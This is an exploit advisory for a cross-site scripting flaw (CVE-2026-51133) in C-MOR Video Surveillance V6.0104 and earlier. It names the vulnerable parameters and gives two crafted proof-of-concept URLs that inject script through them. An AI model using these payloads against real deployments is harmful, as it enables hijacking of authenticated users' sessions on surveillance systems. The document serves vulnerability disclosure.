C-MOR 6.0104 – Cross-Site Scripting (XSS)
# Exploit Title: C-MOR 6.0104 - Cross-Site Scripting (XSS) # Google Dork: N/A # Date: 2026-07-23 # Exploit Author: Samir Shamdin (Alb Cyber Guards) # Vendor Homepage: https://www.c-mor.com # Software Link: https://www.c-mor.com/ # Version: <= 6.0104 # Tested on: C-MOR Video Surveillance V6.0104 # CVE: CVE-2026-51133 # 1. Description: # A Cross-Site Scripting (XSS) vulnerability in za-internet GmbH C-MOR Video Surveillance <= V6.0104 # allows a remote attacker to execute arbitrary client-side code via the 'size' parameter in # the ptzpreset.pml component and the 'anyparam' in the show-movies.pml component. # 2. Proof of Concept (PoC): # The vulnerability can be triggered by enticing an authenticated user to click on the following crafted URLs: # PoC URL 1 (ptzpreset.pml): http://[TARGET]/ptzpreset.pml?cam=cam4&size=720c2usy%22%3E%3Cscript%3Ealert(%22AlbCyberGuards%22)%3C/script%3E # PoC URL 2 (show-movies.pml): http://[TARGET]/show-movies.pml?anyparam=%27);alert(%27XSS%27);// |